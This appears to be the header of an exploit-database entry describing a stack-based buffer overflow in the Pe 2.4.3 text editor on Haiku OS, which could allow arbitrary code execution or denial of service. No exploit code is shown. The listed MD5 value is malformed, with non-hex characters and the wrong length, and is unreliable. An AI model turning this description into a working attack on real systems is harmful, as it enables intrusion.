Pe 2.4.3 Buffer Overflow Exploit

# Program: Pe - Haiku OS
# Tested on: Haiku OS Alpha x86
#
# Description: Pe v2.4.3 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.

# Tested on: Haiku-OS Alpha Pe 2.4.3
# MD5: 3vf34s2e9c9324c9876b2b02283a9f1247
